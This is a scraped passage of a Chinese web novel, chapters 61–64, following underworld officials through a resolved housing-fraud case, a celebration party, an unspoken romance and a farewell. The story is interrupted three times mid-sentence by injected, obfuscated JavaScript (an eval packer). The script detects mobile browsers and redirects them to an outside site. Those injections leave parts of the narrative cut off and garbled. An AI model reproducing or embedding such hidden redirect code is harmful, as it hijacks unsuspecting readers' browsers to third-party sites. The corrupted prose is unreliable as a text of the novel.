祝平安心里有点难受,只是长叹了口气。温尔雅说的没错,徐副部长的权力欲非常强,他要权力,不是为了别的,就是为了被众星捧月,人人讨好。 仔细想想,他在迎新宴上那样逼她喝酒,还不就是想显摆自己是领导,有能力让别人听话吗? 这种行方便,也是显摆自己有权力的方式之一。大事他不敢沾惹,但对于一些自觉能摆平的“小事”,他就克制不住炫耀的欲望了。常在河边走,哪有不湿鞋,即使不是桃源雅筑事发,徐副部长也早晚要栽在这个上面。 徐副部长这个层级的领导,是走是留,已经需要人力资源署来决定了。 最终,经过人力资源署、公共管理部、司法部联席讨论,徐副部长构成玩忽职守罪,撤去一切职位,即日移交司法部,后续量刑工作由司法部跟进。至于徐副部长的工作,先暂时由祝平安代理。 按资排辈来说,这份工作交给祝平安不合适,但魏玄成一力主张,大家自然也要看署长的情面。于是,事情就这样敲定下来,叶霆霓作为司法部的代表,将徐副部长当着公共安全部所有差役的面押走了。 魏玄成又在台上讲了些“牢记教训,警钟长鸣”之类的话,会议便散了。这场与徐副部长的斗争,最终以祝平安大获全胜,她却一点也高兴不起来。 只是再不高兴,工作也要做。检讨大会一结束,会议室便立刻被人重新排布,会议标语也换成“桃源雅筑业主安置协议签署大会”。当天下午,高小姐带着业主们鱼贯而入,个个脸上喜气洋洋。 台上,会议桌一字排开,张松鹤、祝平安、温尔雅、万柏等人列席不算,住房管理部的程部长也到了。温尔雅还特意请来了几家主流媒体来,全场闪光灯闪个不停,把大家的眼睛都闪花了。 “你叫他们来做什么?”祝平安小声抱怨了一句,“他们跟这案件又没关系。” 温尔雅却不这么看:“酒香也怕巷子深,你做得再好,没有恰当的宣传也是白费。记者来报道,对你只有好处没有坏处,还能给公共安全部营造正面形象。你听话,忍一忍就好了。” 张松鹤看了一眼台下记者,除了影响力最大的《羊城晚报》,还有《法治周刊》、《社会新闻报》、《地产资讯》等报刊,心里也暗叹温尔雅果然天生就是个政客,他也知道宣传工作很重要,但嫌对外发言太琐碎,每次办事时,都想不起来要联系记者。 平安这件事办的漂亮,又有温尔雅为她造势,明天报纸一发行,鲜花荣誉会源源不断地向她涌过来。平安可能觉得有点麻烦,但是,这都是她应得的,不是吗? 业主们可不管上头的人在想什么,住房管理部亲自监管,不仅房屋得到修缮,还能拿到赔偿金,这件事情已经完全把他们的头脑冲昏了,当在协议书上签下自己的名字时,很多业主都流下了眼泪。 他们很不幸,遇到了薛良;但他们也很幸运,他们遇到了高小姐、祝平安、张松鹤……还有许许多多愿意捍卫他们利益的差役。 原本,他们可能会上诉无门,可能会去静坐示威,也可能始终拿不到房子,却还要还着贷款……可在无数个坏结局里,有人为他们争取到了唯一的happy end。 真好,真好。 当温尔雅宣布大会圆满结束时,许多业主都自发地欢呼起来。高小姐变魔术一般,从桌子下掏出了几个大包,招呼着业主们:“大家一起来!” 祝平安惊奇的发现,高小姐脸上愁苦的法令纹已经完全不见,取而代之的是无比灿烂的笑容,这笑容让她显得那么美丽,她的声音也像是快活的银铃:“谢谢公共安全部!谢谢特别行动组!谢谢祝组长!” 她从一边高声笑着,一边拉开了大包,从里面掏出了什么,向着台上扔来。祝平安想起了臭鸡蛋,条件反射地一缩脖子,挡住了脸。 有什么东西落到了她的头上,像是羽毛一样轻盈,还带着丝丝幽香。祝平安在指缝里悄悄往外一看,不由得怔住了。在天空中漫天飞舞的,那是—— 鲜花啊…… 热烈的红玫瑰,芳香的粉百合,娇小的矢车菊,柔美的郁金香……成百上千的花朵,被业主们抛上了高台。再没有其他方式,能够将他们的感谢、他们的心意、他们的快乐统统展现出来。他们一边抛洒着花朵,一边大声说着自己的心里话: “谢谢你们!谢谢你们为民做主!” “祝组长,以后交房,常来我们家玩啊!” “上次用臭鸡蛋砸你们,真不好意思!现在我都知道了,你们是好差役!” “青天大老爷!祝青天!” …… 一朵芬芳的薰衣草碰到了她的嘴唇,轻柔的像是一个浅吻。祝平安的头上、肩上落满了鲜花,张松鹤和温尔雅一左一右,坐在她的身边,同样是笑意盈盈地看着她。在这一片花雨中,望着大家的笑脸,祝平安的眼睛亮晶晶的。 “言重了,言重了。”她站起身,对着台下不停的鞠躬:“大家别这样,我只是做了身为差役应该做的……” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16884609|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别这么说。”高小姐却是深深地向着她弯下腰去:“即使是应该做的事情,很多差役也不愿意去做,但你做到了……谢谢你。” 她身后,320名业主均都站起,向着祝平安深深鞠了一躬。 在漫天的鲜花中,台上人与台下人相对鞠躬,记者们的快门连连闪动,将这一幕保存成了永恒。 会议圆满结束,大家陆续离去,只剩下祝平安三人还留在会议室里。鲜花静静地躺在地板上,散发着迷人的芬芳,祝平安蹲在地上,双手托腮,痴痴望着那些花儿出神。 “我觉得,这是我创作出来的最好的插花作品。”陶醉地吸了一口气,祝平安喃喃说道。 “确实,你的作品可比我们两个好多了。”张松鹤也非常认可这句话。 祝平安忍不住嘻嘻傻笑起来,她从地上捧起一堆花,往天空抛撒着玩:“我觉得,这份工作是世界上最好的工作!” “这会儿又不记得被臭鸡蛋砸的事情了?”温尔雅看她露出这副孩子气,不由得也笑着逗她。 “被臭鸡蛋砸,是因为我确实做的不好嘛!”祝平安争辩:“这说明大家的判断是公平的,我做的不好,就被扔臭鸡蛋,做得好就有鲜花,这是多么明确的标准啊!只有你用心做,群众对你就有公正的论断,总比满足甲方那些想一出是一出的需求强!” 她兴奋非常,从地上捡了几朵花,可惜道:“我想把大家送我的花拿回去,做个纪念,但这些花都没有花枝,恐怕很快就会枯萎了。” 温尔雅见此处别无他人,便道:“这有什么,你选一朵花就好,我有办法让它不枯萎!” “真的?”祝平安大喜,立刻在地上挑选起来。 “植物永生术是这么廉价的东西了吗?”张松鹤仍是含笑看着祝平安,只从牙缝里挤出这么一句话。 “她高兴。”温尔雅也是笑容不变,“那就是世界上最宝贵的。” 一番挑拣之后,祝平安选中了一朵野菊花,花朵不大,却灿烂优美。祝平安犹自开心:“哎呀,其实真应该把霆霓跟校长都留下聚一聚,这是我第一个成功办好的案子呢!” “你的庆功会将来会开的,等你把桃源雅筑的事情收了尾之后。”张松鹤看不下去她这么乐颠颠的,不禁出言提醒。 “还有什么事情啊?”祝平安有点不解。 “你不会真打算遵守对薛良的承诺吧?”张松鹤狡黠地露出一个笑容,“之前我跟他结魂誓只是权宜之计,现在,钱也拿到了,不让他来个罪有应得,那就是我们失职了!” 温尔雅是知道他们俩跟薛良做的交易的,闻言不禁看了一下祝平安:“这不好吧?手段会不会太黑暗了点,出尔反尔……” “哎呀你真迂腐!”祝平安却是眼睛发亮,推了温尔雅一把:“对好人,我们当然要光明正大,跟坏人你讲什么仁义道德?他们干坏事的时候也没想过这些呢!只是要好好的想一想,怎么让张松鹤不违背誓言……” 原来……原来是这样么? 温尔雅捂脸哭笑不得,她并不是讨厌他耍手段,只是不想把它们用在好人身上。为了不让她讨厌,他最近可谓是处处留心,每做一件事、说一句话,都要在心里反复思量,搞得自己都不会办事了,却原来都是自寻烦恼! 思及此,他忽然觉得一身轻松:“既如此,不如把这件事交给我吧,我保证,既能让桃源地产知道真相,又让此事跟我们无关……” 62.庆功会 温尔雅说到做到,他采取的那些手段,祝平安事后都听得一愣一愣的。 薛良一进去,薛太太着急上火,全城搜求好律师,想着把丈夫从里面捞出来,而高明月律师因业务能力过硬,顺理成章地便进入了薛太太的眼帘。 接下来的事情,大家都能猜到了。 高明月跟薛太太一块到拘留所探视当事人,一见了薛良的面,高小姐就是火冒三丈。也不管薛太太是不是客户了,把薛良在会上的作为都说了一遍,薛太太听得一脸疑惑,薛良的工资都上交给了她,这劳力士她没买,是谁送的薛良劳力士? 怀疑的种子一旦种下,很多事情都变得有迹可循。没两天,拘留所把寄给薛良的账单都转寄给了薛良的家里,薛太太看着账单更是疑窦丛生,服装店、理发店什么的也就算了,美容院是怎么回事?薛良这个王八蛋,难道真在外面有人了? 女人在这个时候,总会激发出侦探般的能力,何况留下的线索这么明显?薛太太把所有店铺都跑了一遍,给店员塞了点钱,三下五除二就扒出了柳柔的名字和住址。 等她进到枫园别墅,看到书房那些画,薛太太还有什么不明白的?气的差点没晕倒,等回过神来,第一件事就是给哥哥打电话哭诉,薛良在外面养了小三…… 桃源地产的老板自然要给妹妹撑腰,他动用了自己的关系调查了柳柔,空壳公司和阴阳合同的事情真相大白,薛良侵吞公款给小三,把薛太太兄妹当成傻子一样耍弄,两兄妹岂能容他? 桃源地产的老板立刻就举报了薛良侵吞公款,证据确凿,这次可都是合法证据了。薛太太则用追回夫妻共同财产的名义,将柳柔名下尚且拥有的地产、存款全都讨了回来。 薛良一去,柳柔那点能耐怎是薛太太的对手,几乎被光着屁股撵出了枫园别墅,一分钱也没带走,三年的富太太生活,转瞬成一梦。 从头到尾,温尔雅只是将高明月的资料投进了薛太太的邮箱,又打着“保护商家利益”的名义,将薛良的账单寄回家里而已,至于张松鹤,根本就没在事件中出现过。 薛良在拘留所里听说了这件事,听说是当场就吐了血。但柳柔被发现,根本是巧合的结果,张松鹤和祝平安可没吐露一个字,他要恨也只能恨自己作孽太多,得了现世报应。 听完了柳柔事件的后续,温尔雅的圆融手段,缜密心思,让祝平安佩服的五体投地,不住地表扬温尔雅能干。温尔雅被她夸的都不好意思了,张松鹤也皮笑肉不笑地夸了温尔雅几句,转头又抱来一大摞文件,鞭策温尔雅干活。 是的,祝平安名义上虽然在代理徐副部长的职位,但那些活还不是给温尔雅准备的?再加上这个案子被媒体报道后,在社会上引起轰动,祝平安立刻就成了名人了,作报告、上访谈、交流会……种种邀请络绎不绝,她跟明星似的四处赶场,要念的稿子还不是温尔雅来写。 公共安全部这里,也是大力宣传桃源雅筑的案子,把它作为上半年最拿得出手的政绩,连包大人都过问了几次,这下就更热闹了。上级单位、下级单位、兄弟单位纷纷要来参观学习先进经验,温尔雅每天一睁眼,不是忙着这个接待,就是要写那个材料,要不就是主持交流会议,还没几天,眼窝都青了。 这样发疯一般忙了一个月后,张松鹤再提庆功会的事情,祝平安跟温尔雅都是齐齐摇头,声称多一事不如少一事。 “你要真有心给我庆功,就给我放一天假吧。”祝平安倒在部长办公室的沙发上,两眼发直。 张松鹤大摇其头:“你想得美,给你放了假,那些报纸采访就得我去了,我才不干!” 祝平安用期待的眼神望着温尔雅,温尔雅硬着心肠把脸扭了过去。他过去虽然深居简出,但还是有些人认得他的脸,平常工作也就罢了,上报纸的事情还是尽量不要。 祝平安捂着脸哀嚎:“有没有搞错!明明是给我庆功,怎么都不能让我爽一下!” “这就是上班,姑娘。”张松鹤同情道:“又不是只有你一个人有功,要是没有同事们配合,你自己能办成这件事?” 这话说得有理,祝平安倒也没自大到“世界必须围着我转”的地步,恹恹起身:“那好吧,但是咱们说好,庆功形式我来决定,参加人员也由我决定,你别再弄那些酒局哦。” 张松鹤想了一想:“那咱们只能办两个庆功会了,一场招待领导跟记者的酒局,一场你自己决定。” 祝平安虽然不爽,但也并不任性,点头同意了。官方庆功会按照惯例是丢给温尔雅和杜元负责,她一门心思筹备的只是自己的小庆功会。 聚会地点就选在祝平安家,邀请的人除了四个特别行动组的组员们,还有琢玉学院的老队友们,以及张松鹤、魏玄成,都是些熟朋友。聚会是年轻人喜欢的风格,没有敬酒,没有讲话,不分职级,主打就是跟朋友们乐一天。 张松鹤作为部长,出了点血,叫了外送炸鸡上门,外加薯片、冰淇淋、奶茶和果啤。祝平安还拜托白子欣带了游戏设备过来,精心选了几盘游戏!虽说她没有白子欣那么纯粹的宅血统,但她生前也是很爱打游戏的嘛~ 敷衍完了官方庆功会之后,祝平安的真??庆功会终于召开了。琢玉学院的老朋友们时隔几个月再次见面,自然亲热无比。叶霆霓、卫珑还好,多少都在工作中知道了一点消息,桂中秋、林四梅、金毛毛等人却只能在报纸上看官方报道,早就急的不行啦! 祝平安放松地倒在沙发上往嘴里吸溜奶茶,从迎新会说到漏水的房子、臭鸡蛋,再从臭鸡蛋说到潜入小三家,把大伙儿听的一会儿惊呼连连,一会儿笑趴在地。在叶霆霓的强烈要求下,祝平安还现场给大家表演了一段自己是怎么装醉的,引得大家更是笑翻了天。 魏玄成、温尔雅两人坐在一个小角落,看着祝平安跟大家谈天说地,两人对视一下,不由得有点苦笑起来,还是魏玄成当先开口:“老了,老了,年轻人的节目跟不上啦!” 也难怪他有这种感慨,这场小庆功宴,没有一样东西是他能理解的。 果啤的气泡口感扎嘴,奶茶太甜,薯片太干,冰淇淋太凉,炸鸡太油腻,至于白子欣和林四梅在那边“打游戏”,更是让他有点眼花缭乱的感觉,只觉盯着屏幕看一会儿就晕了。而场中的年轻人都接受良好,显得他跟大家格格不入,难免有点无聊。 不得不说,祝平安在酒桌上也是这种感受,可见大家都有自己的主场,不喜欢的聚会谁都想溜。 温尔雅微笑着给他倒了点白开水:“校长,平安就是这个性子,有不周到的地方,您别跟她一般见识。” “哪里,年轻人要是处处都跟我看齐,也就不叫年轻人了!”魏玄成呵呵笑起来,没有去碰白开水,而是选择继续跟果啤较劲:“培养你们,不就是为了让你们给地府带来新鲜的风气吗?” 他看了一眼温尔雅,慈爱道:“你也去吧,跟他们一块玩玩,别只顾着陪我。” 温尔雅只是笑笑,却不动,魏玄成摇摇头:“你这就是撵我老头子走了,免得我拘束了你!” 温尔雅这下不能不起身了,祝平安这会儿高兴,把白子欣从游戏机旁边推开,高呼道:“我们来玩派对游戏吧!舞力全开!” 舞力全开是一个很有名的体感游戏,游戏内置了许多舞蹈,大家跟着屏幕里的舞者跳舞,经判定,动作模仿标准,节奏也合拍的,就能获得高分。由于最多支持6人一起跳,是很受欢迎的派对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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于是苗妙妙就呼噜呼噜地在金毛毛肚皮上踩起奶来。 但要说到最佳组合,大家首推还是张松鹤与温尔雅。张松鹤有练武之人的敏捷,跳的不错在大家意料之中,而温尔雅的舞蹈,都不能说是不错了,应该叫——有观赏价值。 跟张松鹤只是把每个动作做标准不同,温尔雅把动作连接了起来,是真的在跳舞。 但他的舞姿并非柔美一系,更像是原始时代巫师跳的祭舞,动作中带着力量与韵律,一举手一投足,都带着神灵般的威仪与华美,把现场水平活生生拔高到了next level。 说说笑笑地玩了一天,大家把所有饮料零食都一扫而空,这才告辞。 温尔雅出门,去送魏玄成了,白子欣果啤喝太多有点醉了,干脆就在这里过夜了,里奥跳了一下午,浑身是汗,钻回自己房间洗澡去了,客厅里只剩下了张松鹤和祝平安。 张松鹤第一次接触这种体感游戏,不由得有点着迷了,他还没玩够,询问祝平安:“再跳一会?” “好啊!”祝平安欣然同意,拿起手柄就切了下一曲,“噢噢!《月亮代表我的心》!我很喜欢这个曲子,就是之前没有舞伴,只能假装搂着个娃娃跳,现在终于有舞伴了!” 这下张松鹤有点尴尬了,他知道这个曲子,是一首经典的情歌,只怕舞曲里有不少亲昵动作,但看祝平安毫无芥蒂的样子,他也就不去想了,集中精神在舞蹈动作上。 “你问我爱你有多深,我爱你有几分……” 一个温柔甜美的女声悠悠地唱了起来,这曲子似乎有种魔力,当第一个音节流淌出来时,张松鹤的心口就不经意地怦怦跳了起来。 一种无形的感觉摄住了他的灵魂,带来一阵酥软,一阵颤抖,好像被小猫舌头舔了一下,心头变得湿漉漉软绵绵的。周围不再是客厅,而是一个明月高悬,对影成双的世界…… 依照着屏幕中舞者的动作,他伸出手去。 63.月亮代表我的心 “我的情也真,我的爱也真……” 她的一只手掌亲密地与他十指交缠,另一只手轻轻搭在他肩膀上,随着音乐,她的脚步向前欺近,他默契地后退。世界忽然变得很渺小,渺小的只在自己的臂弯里,他的身心随着她的脚步而舞动。 “月亮代表我的心……” 音乐再转,她的面孔向着他贴近过来,近的呼吸相闻。他用尽了全身的力气,才把头转开,努力去看屏幕中的舞者。可就算是挪开了视线,他依然能清晰的感知到她的动作,好像他身上的汗毛也活了过来,摸索着她的轮廓。 这是怎么了? 他并非没有跟女孩接触过,就在刚刚,他也拉着叶霆霓一块跳了一支舞,过程中免不了拉手把臂,但他都没有这么的……这么的……惊慌…… 舞曲很慢,节奏舒缓,动作也不难,但他却开始频频出错,活像喝醉了酒一样,脚步蹒跚。她的眉眼,她的嘴角,她的指尖,无论把目光放在哪里,都让他微微晕眩起来,且这晕眩随着时间,越演越烈。 “轻轻的一个吻,已经打动我的心……” 她似乎对这舞曲已经跳的很熟,眼睛已经闭上,嘴里也跟着哼起了这个调子。像是月光下的精灵一样,轻盈地在自己身边打转,张松鹤发现,她的脸颊光洁可爱,嘴唇嘟起来的样子,非常的美。 他的眼睛里只有这个可爱的精灵。臂弯里那个小小的世界坍塌成一点,取代了他的心脏,激烈地跳动起来。 是从什么时候开始的?他为她的光芒所吸引,为她的举止而失措? 祝平安正全身心地沉浸在舞曲中,张松鹤刚开始还跟的上她的节奏,但后来,他的脚步不知怎么,变得越来越重,祝平安都有点带不动他了。 难道是累了? 祝平安睁开眼看着他,他的神色非常奇怪,眼神间既是疑惑,又是飘忽,好像要看屏幕里的舞者,又忍不住在自己脸上乱瞟。她好奇的眼神一探出去,恰好把他抓了个正着。四目相对,他的眼神忽然定定地停在她的脸上,不动了。 “深深的一段情,叫我思念到如今……” 不知怎的,祝平安轻轻颤抖起来,她感受到一种喜悦,一种甜蜜,一种羞涩。她有点慌乱地想要抽出手,可他的手却像是一把烫手的烧火钳,死死握住她的手,让她难以挣扎。 “舞还没有跳完呢。” 他喑哑的声音在她耳边响起,接着,他的脚步动了。 她能感觉到,他有力的臂膀支撑着她的后背,她的反抗微弱下去,身不由己地被他带动,在他的掌心旋转着,跳跃着,被他所支配。 他的脸贴近过来,她闻到一阵冷冽的冰雪香气,按理说,她本应该觉得不适,但完全没有,那气味像是一点火星,点燃了她从未意识到的烈火。 就如着了魔,中了蛊,她未曾拒绝,而是将手臂贴紧了他的胸膛,随着他的意愿舞动。他也在她的手下燃烧,热意从他胸前透出来,烧穿了他的衬衫,沿着她的手臂一路往上烧,把她的整张脸烧的一片绯红。 “你问我爱你有多深,我爱你有几分……” 忽然,她双脚离地,忍不住惊慌地叫了一声。屏幕上的男舞者轻易地举起自己的舞伴,旋转一圈再放下。他也一样,托着她的腰部将她举起,一张脸仍是仰着,定定地看着她的脸。 他没有把她放下。 那甜美的歌声还在唱着:“你去想一想,你去看一看,月亮代表我的心……” 祝平安感觉自己是一块糖人,现在,她的身躯融化了,成了一团柔软拉丝的糖浆,黏糊糊地挂在他的手臂上。她头晕目眩,为了不跌下去,只得搂着他的脖子稳住重心。 他依然不动。 他们维持了这个姿势似乎很久很久,久到音乐已经停了。她知道,必须得说点什么了:“不玩了吗?” 他没回答,依然用那种难以描述的眼神看着她。许许多多的情感在他眼睛里一闪而过,令人无从分辨。吱呀一声,似乎有一间卧室门打开了,白子欣的叫声传了出来:“平安姐,你们家厕所在哪?” 他的叫声就像一个炸雷,把张松鹤惊醒,他的手臂松了,祝平安挣开他的臂弯,跳下了地:“一出门走到底,再右拐!” 白子欣的拖鞋声踢哩踏拉地向着厕所的方向去了,祝平安把游戏机摁掉,一时间不知道如何开口,最终,还是张松鹤先说了话:“……我先回去了。” 他的脸色恢复了正常,祝平安熟悉的那个亲切诙谐的张部长又回来了,好像刚刚那一切都是她的梦。她想说些什么,话到嘴边却变成了:“我送你出去。” 他站在门口,与她挥手作别,她的心里有着莫名的期待,期待他说些什么,但他最终什么都没说,只是例行公事般说了一句:“上班见。” 祝平安心里多少涌上来一些自作多情的懊恼,她也只是挥挥手,跟他道了一声:“上班见。” 她站在门前,望着他的身影走出了大门,转过小巷,他走的看不见了,她却久久没有回去。直到温尔雅回来,奇怪道:“你怎么站在这里?等我回来吗?” 祝平安慌忙收回目光,不期然有了一种心虚的感觉,掩饰道:“没什么,只是屋里太闷,出来吹吹风。” “你脸都红了,是不是果啤喝太多了?”温尔雅贴心地扶住了她:“快上床睡觉吧。” 祝平安脸红红地被送回了房间,她倒在床上,却睡不着,眼前总是晃动着张松鹤的脸庞。她忍不住低低的哼唱起来:“你问我爱你有多深,我爱你有几分……” 再想起张松鹤离去时候的样子,她不由得有些疑惑。如果她没感觉错,最后,他不应该对她那么冷淡。 现实的思考又回到了她的脑子里,祝平安一骨碌坐起,猛然想起一个铁律:上级与下属不得恋爱…… 不过……也许是她想太多了呢?对对对,张松鹤只是在遵照游戏的舞步而已…… 她眼神飘忽,满脑子胡思乱想,一会儿肯定,一会儿否定,一会儿自嘲,一会儿懊恼,纷乱的思绪缠到最后,祝平安还是遵照着古往今来所有姑娘面临爱情时的本能,做出了决定。 “敌不动,我不动,人家又没有告白,我想这么多干什么?”她心里暗下决心,“就算……就算他真有这个意思,工作也是很要紧的!我在岗位上才刚刚干出点模样来呢,短期内还不想考虑这种事情!” 决心虽然下定,可她依旧睡得很不安稳,一忽儿翻身,一忽儿坐起,足足闹了大半天才睡着。 就在距离祝平安家几十米的街边,张松鹤在马路边徘徊。按时间,他早就应该回去了,可不知怎么,脚步转来转去,始终离不开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16895988|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祝平安家附近这一条街。 他也在轻轻地哼着这首歌:“我的情不移,我的爱不变,月亮代表我的心……” 当意识到自己在唱什么的时候,张松鹤猛然抿住了嘴,片刻后,才喃喃念诵起《清净经》: “大道无形,生育天地;大道无情,运行日月;……夫人神好清,而心扰之;人心好静,而欲牵之。常能遣其欲,而心自静;澄其心,而神自清;自然六欲不生,三毒消灭……” 念诵着自幼熟读的经文,他的心灵一点点剔除杂念,重返澄净自然、六欲不生的境界。 他持身修道已有三百余年,自信早已斩三尸、灭三毒,今天却忘乎所以,几乎动摇道心。难道是最近疏懒了功课,所以不能清净自守了吗? 三百年来,他功德日涨,却始终未能飞升,今日更是有了道心不稳之征兆,实在对不起自己所背负的天命。他暗下决定,日后每个时辰都要念诵经文,修身养性,还有小半年,师父就要出关,到时候,请他老人家再次指点吧…… 将《清静经》从头到尾念了三遍,张松鹤这才迈步走上回家的道路。无论他对祝平安是什么样的感情,他都不会也不能,跟她发展出什么后续。今日之事,是他莽撞,日后,他自然会谨守清规,跟她之间只谈公事,不谈其他。 两个人都下定了决心,第二天上班的时候,那份生疏劲儿就别提了,第一次见面的人都没这么不熟悉。 之前张松鹤和祝平安是惯开玩笑的,再加上一个温尔雅,三个人上一天的班,有80%的时间都黏在一起,现在呢?张松鹤再不叫祝平安到他办公室去,有什么任务,往往交代给温尔雅,让他转达,实在逼得没办法,才跟祝平安说那么三句两句的,话也说的极为客套,脸上一丝笑影子都没有。 他既然这样生疏,祝平安便知道他的意思了,她心里涌起自作多情的懊恼,自然也不会主动跟张松鹤说话。张松鹤问什么,她答什么,除此之外一句话都没有,甚至开会也恨不得跟他离得远远地,分坐在会议桌的南北极。 他们之间的气氛转变,其他人哪能不看在眼里?温尔雅几次试探,愣是没从祝平安嘴里打听出一个字,他虽不知道两个人闹什么别扭,但祝平安一辈子不跟张松鹤说话才好呢,对此情景他乐见其成,也就不再挂心。 而对其他同事来说,各种传言就甚嚣尘上了。什么祝平安有望高升之后就目空一切了,忘恩负义,对提拔她的老领导不敬;又或者说张松鹤不满祝平安比他更加知名,所以有意打压;还有人传的流言更加劲爆:张松鹤这么捧祝平安,就是为了跟她发展不伦关系的,而祝平安得了好处却不愿支付代价,两人这才闹掰…… 不管别人背地里怎么说,这些流言肯定传不到两个人的耳朵眼里。于是两个人就这么不尴不尬地继续相处了下去。 好在祝平安把桃源雅筑的事情办的非常漂亮,明摆着又有人力资源署的人撑腰,即使张松鹤跟她生疏了,在单位里也没人敢跟她为难,祝平安也一天一天地把日子过了下来。 一个月后,他们欢送了向大姐退休,两个月后,他们等到了薛良的判决,三个月后,人力资源署下令,正式将祝平安的职级上调升一级,定为七级。四个月后,里奥也要离开了。 可他们却再没有单独相处过一次,哪怕只有一小时。 64.离别时刻 “我的小摩托,你要经常开出去溜一圈,东西不用容易坏。” “知道了。” “这是我之前画的一本拳谱,记载了蔡拳的心得,你拿去送给林四梅,也是我给她一个念想。” “好,一定给你办到。” “还有……”里奥咬了咬嘴唇,有点不好意思,“好好照顾你自己,上班不要太拼命,弄坏了身子不值得。” 祝平安轻轻抱住里奥的肩膀,嗓音里已经有点抽噎:“我明白,我会的。” 里奥也充满着温情地抚摸着祝平安的头发:“大姑娘啦,不能动不动就掉眼泪,我这一走,是享福去的,你有什么放不下呢?” 里奥投胎去的人家,确实是非常好的,虽非顶尖的富贵,但好在四角俱全。父母都是高级知识分子,家中不说万贯家财,但也能保证孩子一辈子不为钱发愁。加之夫妻恩爱,性格慈爱,家庭和谐,全家翘首以盼的就是孩子。里奥这一去,一辈子都是跌在蜜罐里了。 里奥说的潇洒,祝平安也不愿把场面搞得太伤感,强忍着抽噎道:“怎么说以后都看不到了,就不准我舍不得你?” 里奥无奈地摇摇头:“是我看不到你而已,你要是有心,常来看我就好。” “那跟现在的你也不一样了啊。”祝平安嘟嘴。 里奥见她这孩子气,又飞快地扫了一眼远处过来的温尔雅:“别嫌我啰嗦,你也这么大了,有合心意的人,不妨试着交往……” 这小半年,祝平安最不爱听就是这句话,是她不愿尝试吗?是人家看不上她。只是现在跟里奥分别在即,这些话也是听一句少一句了,再不爱听也忍着听完:“好的,我会考虑的。” “平安,我已经给你请了假了。”温尔雅匆匆走来,“我自己也请了假,陪你一块去送里奥吧。” 里奥听了这话,对他更是满意:这是想着自己走了,平安一时间肯定心绪失落,他要在一边安慰开解,真是贴心的孩子。 这小半年来,她冷眼看着,平安跟温尔雅虽然非常亲近,但又不像是情侣的关系,倒像是停在朋友这一步了。但温尔雅对平安的照顾一如往昔,说不定是两个人缘分还没到,只可惜,她是看不到平安有男朋友的那天了。 这样想着想着,她也不由得伤感起来。假借着检视行李的空挡,擦了擦眼泪。她的行李很简单,除了一身灰蓝的衣裳以外,就只带了那张她和恋人的老照片,以及祝平安送她的步枪。 这是她作为“里奥”的一生,最珍贵的两份回忆。 温尔雅牵来了送魂鸟,里奥知道,出发时刻到了。 张松鹤望着桌面上堆成山的案卷,长叹一口气。 因为祝平安的曾外太婆今天去投胎,所以他一口气准了祝平安跟温尔雅两个人的假。 半年来,温尔雅把行政工作打理的井井有条,公共安全部的案子也经常上报纸,一时间,公共安全部风头强盛,在地府的位置也是水涨船高,张松鹤几乎不用操一点心,每天在外面下一线就好。正好这样他也可以少见几次祝平安,免得自己又闹出什么不该干的事情来。 这次温尔雅破天荒请了一天假,他这才发觉到,自己这个部门离了温尔雅简直就是不转了!到底哪里来的那么多事情!那么多材料! “部长,海关署抓到一个偷渡的,让我们协查,之前都是温副组长在跟海关署打交道,您看……”杜元来请示他的意见了。 好吧……温尔雅可真是能干……不过一个偷渡的人,干嘛非得交给公共安全部呢?海关署这批人真是越来越懒啦!张松鹤有气无力地挥挥手:“知道了,带到审讯室,我这就来。” 他本来没当一回事,却在进入审讯室时呆住了:“你是……?” 眼前的人他认识,也是一位地府正编!这位老者生前立战功无数,救万民于水火,被授予将军衔后,又不恋权位,毅然支援边疆建设,真正做到了把一生都奉献给了人民,是非常令人钦佩的人物! 他连忙就要跟他握手:“石将军,你怎么……?” 等等! 张松鹤把手缩了回去,突然想起了自己是来干嘛的,也明白了为什么海关署要把人给送到他这里来。 正编人员地位尊崇,不经申请不能出关,一是怕这些人在外面有个什么三长两短,二是怕这些人一出关就不回来了,若再夹带些什么机密出去,那就更不得了了…… 是的,地府仅仅是华夏的地府,外国人也自有他们的英灵殿、塔尔塔罗斯、芦苇原。在死后的世界,各个国家还是依照着生者世界的疆域划分管理范围,想要跨国旅行,一样要凭借护照的。 无护照、不经申请、偷渡,石将军名义上又属于武装部的……张松鹤眼睛一眯,已经想到了许多东西:叛逃、窃取机密、里通外国…… “小声些!”石将军似乎有点不好意思,“别叫我的名字呀,要不就成大新闻了!” 好吧,看这态度,应该没自己想象的那么严重。张松鹤放松下来,也小声询问起来:“您这是干什么?偷渡?需要去哪里的话,干嘛不申请啊。” “申请了几次,都没被批准。”石将军摇着头,一副意见很大的样子:“要我说,这简直太教条了!难道我必须有公差才能出门?这不成坐牢子了!” 他有些老人家常见的毛病,越说嗓门越大,张松鹤连忙冲他摆手:“您小声点,不是不想别人知道吗?” 石将军这才闭嘴,张松鹤看他冷静了,这才继续问:“究竟是怎么回事啊?” “人力资源署说,我无法提供外出的具体地址,所以他们不能批准我的申请。”石将军愤愤道:“都说了我是去寻人的,要是知道人家在哪里,我还寻什么寻啊?” “那您具体是想去哪个国家呢?” 